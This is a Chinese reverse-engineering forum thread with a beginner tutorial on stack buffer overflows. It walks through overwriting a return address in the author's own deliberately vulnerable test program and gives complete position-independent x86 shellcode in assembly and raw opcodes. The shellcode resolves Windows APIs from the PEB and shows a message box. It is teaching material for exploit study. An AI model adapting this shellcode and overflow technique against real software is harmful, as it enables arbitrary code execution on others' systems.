吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 11439|回复: 37
收起左侧

[原创] 【原创】初识栈溢出

[复制链接]
小俊 发表于 2017-12-30 14:26
本帖最后由 小俊 于 2018-4-23 18:07 编辑

初识栈溢出讲栈溢出之前,我们先认识一下什么是,下图是一个标准的结构



Stack
给大家介绍俩寄存器ESP(栈顶,低地址)和EBP(栈底,高地址)
栈的作用是什么? 相信很多小白就要问了。
说人话,栈就是用来存局部变量,参数和返回地址的的一块内存,我个人是这么理解的。
索引栈中的数据用 [EBP+XX] (参数,或返回地址) [EBP-XX] (局部变量)为什么用EBP而不用ESP索引数据呢?
因为EBP只有开辟栈帧,或者关闭栈帧的时候才会发生改变,而ESP申请局部变量,或者push参数的时候都会发生改变,所以使用EBP来索引栈中的数据
那么栈溢出是什么原理呢,比方说,我开辟了0x100个字节的栈空间,读取文件中的内容放入栈中,但是我的文件的大小有0x200字节,中的其他数据就会被文件中的内容覆盖,这就是栈溢出的基本原理
大家设想一下,如果我们把返回地址给覆盖掉,并且改成一段ShellCode的地址,是不是就执行我们自己的ShellCode呢?
本章的目标就是实现这个功能
我给大家发一个有栈溢出漏洞的程序,用来演示
下载地址:https://pan.baidu.com/s/1XhnluFK_995bXQxb-AGZnQ
双击程序没有反应,那就对了,因为我没有写实际的功能,只是读取Test.txt文件放入栈中
先拖到OD里面分析一下



分析
分析了这么多,一句话总结:缓冲区只有0x100字节,如果Test.txt文件大小大于0x100字节,那么栈就会溢出。
我们先构造一个0x100字节大小的文件,看看内存布局
上神器,很好用的十六进制编辑工具:010 Editor
官网:http://www.sweetscape.com/



NewHexFile
快捷键 Ctrl + Shift + i 插入数据



InsByte
保存Test.txt文件到测试程序目录下



SaveFile.png
拖入OD中观察栈



Stack分析
记录一下返回地址的地址:0x0019FF80
一句话总结:我们在原来Test.txt文件基础上再添加16(10h)个字节,就能把返回地址覆盖了



AddByte.png
重新载入OD继续分析栈



Stack
通过上面的图我们可以看到,栈已经被破坏了
EEEEEEEE 把我们的返回地址给覆盖了
我们把文件中的EEEEEEEE替换成我们自己写的ShellCode地址就能执行我们的代码了
我们通过事件查看器验证一下是否正确运行我们的测试程序



崩溃
程序崩溃就正常了,因为我们把栈给破坏了,程序无法正常退出
Win+R → EventVwr 打开事件查看器



Run



log
发生错误的原因是因为0xeeeeeeee是内核空间,在用户层是无法访问的,当汇编指令ret执行的时候,CPU会认为0xeeeeeeee是无效地址



Memory
到这里,我们确实验证了返回地址确实是被0xeeeeeeee覆盖了。接下来就是写ShellCode
ShellCode
何为ShellCode?
我认为,不依赖PE文件的特性,能够在任何地方都能运行的代码,就是ShellCode
我个人对ShellCode还是有一点自己的理解
下面的文章是我用纯ShellCode写的加壳器,有兴趣的可以看看
https://www.52pojie.cn/thread-676078-1-1.html
PE相关,可以产考我写的这篇帖子
https://www.52pojie.cn/thread-680447-1-1.html
Windows汇编,编译,链接,产考这篇帖子
https://www.52pojie.cn/thread-679902-1-1.html
好了,不吹牛逼了,开始正式编写ShellCode写个简单的功能,弹出一个MessageBoxA消息框



目标
首先我们把0xEEEEEEEE返回地址改成文件在栈中的地址
打开OD观察一下地址是多少



Stack
把 EEEEEEEE 改成 0019FE74 (注意小端字节序)
注意:虽然测试程序没有随机基址,但是不同操作系统版本,栈起始位置可能不一样,所以你们得自己观察缓冲区首地址是多少
我的操作系统版本:win10 1709(16299)



Address
ShellCode汇编代码

[Asm] 纯文本查看 复制代码
.386
.model flat,stdcall
option casemap:none
assume fs:nothing

.code
main:
        push ebp
        mov ebp,esp
        sub        esp,200h     ;因为代码是在栈中的,为了防止系统函数破坏栈
        mov ebx,fs:[30h]
        mov ebx,[ebx+0Ch]
        mov ebx,[ebx+0Ch]
        mov ebx,[ebx]
        mov ebx,[ebx]
        mov ebx,[ebx+18h]
        mov edi,ebx                 ;保存"kernel32.dll"模块基址
        mov eax,[ebx+3Ch]   ;取"kernel32.dll"Nt头文件偏移
        add eax,ebx                 ;offset=>VA
        mov eax,[eax+78h]   ;取导出表RVA
        add eax,ebx                 ;RVA=>VA eax=导出表
        mov edx,[eax+20h]   ;取名称表RVA
        add edx,ebx                 ;RVA=>VA
        xor ecx,ecx                 ;ecx清零
        MyLoop:
        mov esi,[edx+ecx*4]         ;取函数名RVA
        add esi,ebx                         ;RVA=>VA
        inc ecx                                 ;ecx++
        cmp byte ptr[esi],'G'   ;如果等于ZF会被置为1
        jnz MyLoop                          ;ZF为0则跳转
        cmp byte ptr[esi+3],'P' ;
        jnz MyLoop                          ;
        cmp byte ptr[esi+7],'A' ;
        jnz MyLoop
        dec ecx                                 ;取真正的的下标
        mov edx,[eax+24h]           ;取序号表RVA
        add edx,ebx                         ;RVA=>VA
        mov cx,[edx+ecx*2]          ;通过序号表找到地址表下标
        mov edx,[eax+1Ch]           ;取地址表RVA
        add edx,ebx                         ;RVA=>VA
        mov esi,[edx+ecx*4]         ;取函数地址RVA
        add esi,ebx                         ;RVA=>VA
        ;到了这里 ESI="GetProcAddress"函数地址 EDI="kernel32.dll"模块基址
        ;因为MessageBoxA是在user32.dll模块中的
        ;所以需要通过GetProcAddress获取LoadLibraryA函数地址加载user32.dll模块
        ;然后再通过GetProcAddress获得MessageBoxA函数地址
        call PushStr1 ;通过CALL指令的特性,把下面的数据入栈,如果不理解,暂时可以把他看成push eip
        db "LoadLibraryA",0 ;参数2:函数名
        PushStr1:
        push edi                        ;"参数1:kernel32.dll"模块基址
        call esi                        ;"GetProcAddress
        
        call PushStr2
        db "user32.dll",0   ;需要加载的DLL名称
        PushStr2:
        call eax                        ;LoadLibraryA
        
        call PushStr3
        db "MessageBoxA",0  ;参数2:函数名
        PushStr3:
        push eax                        ;参数1:"user32.dll"模块基址
        call esi                        ;GetProcAddress
        
        push 0                          ;参数4
        call PushStr4
        db "Title",0                ;参数3
        PushStr4:
        call PushStr5
        db "ShellCode",0        ;参数2
        PushStr5:
        push 0                          ;参数1
        call eax                        ;MessageBoxA
        mov esp,ebp
        pop ebp
end main


编译



ml
生成了一个可执行文件



ShellCode.exe
但是我们要的不是这个文件,而是里面的代码,所以,我们直接把他的代码段扣出来
010 Editor找到代码段(.text),把代码段中的OpCode复制到我们的Test.txt文件中就行了
ShellCode
[Asm] 纯文本查看 复制代码
55 8B EC 81 EC 00 02 00 00 64 8B 1D 30 00 00 00
8B 5B 0C 8B 5B 0C 8B 1B 8B 1B 8B 5B 18 8B FB 8B
43 3C 03 C3 8B 40 78 03 C3 8B 50 20 03 D3 33 C9
8B 34 8A 03 F3 41 80 3E 47 75 F5 80 7E 03 50 75
EF 80 7E 07 41 75 E9 49 8B 50 24 03 D3 66 8B 0C
4A 8B 50 1C 03 D3 8B 34 8A 03 F3 E8 0D 00 00 00
4C 6F 61 64 4C 69 62 72 61 72 79 41 00 57 FF D6
E8 0B 00 00 00 75 73 65 72 33 32 2E 64 6C 6C 00
FF D0 E8 0C 00 00 00 4D 65 73 73 61 67 65 42 6F
78 41 00 50 FF D6 6A 00 E8 06 00 00 00 54 69 74
6C 65 00 E8 0A 00 00 00 53 68 65 6C 6C 43 6F 64
65 00 6A 00 FF D0 8B E5 5D



OpCode



copy
运行一下测试程序
成功!



ShellCode执行成功
程序依然崩溃了,因为我们把栈给破坏了,程序没法正常退出
但是我们的ShellCode已经执行了,所以奔溃不奔溃不重要,我们的目的已经达到了



Stack overflow
最终的成品
https://pan.baidu.com/s/1XhnluFK_995bXQxb-AGZnQ
如果在你电脑上运行不了,可能就是你的系统栈起始位置和我不一样,你得自己看缓冲区首地址,然后自己覆盖返回地址
这是一个系列的帖子,我后面的帖子会讲解如何通过jmp esp解决这个问题
还有如何处理DEP(数据执行保护)和ASLR(地址空间布局随机化)

免费评分

参与人数 21威望 +1 吾爱币 +30 热心值 +20 收起 理由
uatlaosiji + 1 + 1 我很赞同!
cimaky1re + 1 + 1 热心回复!
懒懒一生推 + 1 + 1 热心回复!
海天一色001 + 1 + 1 谢谢@Thanks!
君无戏言 + 1 + 1 我很赞同!
wangxp + 1 + 1 谢谢@Thanks!
buddama + 1 + 1 我很赞同!
天涯89 + 1 + 1 谢谢@Thanks!
powermill + 1 + 1 谢谢@Thanks!
h080294 + 1 + 1 热心回复!
Poner + 1 + 10 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
a369111621 + 1 热心回复!
B1aN + 1 + 1 谢谢@Thanks!
我只做我自己 + 1 + 1 用心讨论,共获提升!
朱朱你堕落了 + 2 + 1 顶,膜拜高手!
Sukkk + 1 + 1 用心讨论,共获提升!
阿尔法火眼 + 1 + 1 用心讨论,共获提升!
xx1990 + 1 + 1 谢谢@Thanks!
hackxiaoxion + 1 + 1 涨知识了,学习了
jiaokai + 1 + 1 谢谢@Thanks!
古月同学丶 + 1 大佬的秀time时间!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| 小俊 发表于 2017-12-30 15:04
本帖最后由 小俊 于 2017-12-30 15:07 编辑

如今浮躁的安全圈,什么是真正的技术?什么是投机取巧? 现在想学到真正的技术,对小白来说,太难了。
送想成为大牛的小白一句话
[Asm] 纯文本查看 复制代码
千里之行始于足下

15pb

免费评分

参与人数 1吾爱币 +3 热心值 +1 收起 理由
朱朱你堕落了 + 3 + 1 楼主有成为大牛的潜质和决心,顶您!

查看全部评分

sosoby 发表于 2018-2-25 12:41
本帖最后由 sosoby 于 2018-2-25 12:54 编辑

请教一下楼主:我这有一个软件现在有如下问题(软件现在不在身边,我描述一下):软件在我的W7系统上运行的时候 显示一切正常,当我把软件放入电脑虚拟机上,在软件关闭的时候就会出现帖子里所说的程序无法正常退出的情况。执行程序功能都是正常的,就在退出的时候报错。我开始怀疑是栈溢出,可是如果是栈溢出的话,是不是在所有操作系统上都会报错呢?

2018.2.25 12:52 刚刚找到了虚拟机,事件描述如下:

弹出应用程序:XXXX.exe - 应用程序错误: 应用程序发生异常 unknown software exception (0xc000008f),位置为 0x7c812afb。
要终止程序,请单击“确定”。
要调试程序,请单击“取消”。
有关更多信息,请参阅在 http://go.microsoft.com/fwlink/events.asp 的帮助和支持中心。

看起来不是帖子里的问题。这个能请教下可能是哪里出了问题么?谢谢。
头像被屏蔽
古月同学丶 发表于 2017-12-30 14:42
coco 发表于 2017-12-30 15:39
技术贴,想问下大佬,上面的代码是汇编吗?
 楼主| 小俊 发表于 2017-12-30 15:40
coco 发表于 2017-12-30 15:39
技术贴,想问下大佬,上面的代码是汇编吗?

是的
Windows汇编,编译,链接,产考这篇帖子
https://www.52pojie.cn/thread-679902-1-1.html
nnitert 发表于 2017-12-30 15:44
不错,千里之行始于足下。同时也感谢像楼主一样无私分享的人。
xx1990 发表于 2017-12-30 16:11
这是做绿化软件的小俊???
 楼主| 小俊 发表于 2017-12-30 16:19
xx1990 发表于 2017-12-30 16:11
这是做绿化软件的小俊???

不是,但是我也很纳闷,前段时间一直有人 艾特我
说什么"本软件由@小俊 绿化" 当时我就想,关我吊事

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
xx1990 + 1 + 1 哈哈哈

查看全部评分

KaQqi 发表于 2017-12-30 16:56
最近学习qt,补充一下qt栈溢出的几种可能。
1.定义过大的数组
Object* array[10000000000000000000000000000000000000000000000000000000000]
这种情况建议use malloc or new.
2.调用层次过深(注意,即使不是无线调用也会栈溢出)
function a()
{
b();
}

function b()
{
a();
}

一般错误提示
stack overflow
嗯,还是很直接‘

调试方法:从汇编中找到上层函数,再下断点跟,看是从哪崩溃的
都同学 发表于 2017-12-30 17:00
涨姿势了,楼主辛苦
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 03:28

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表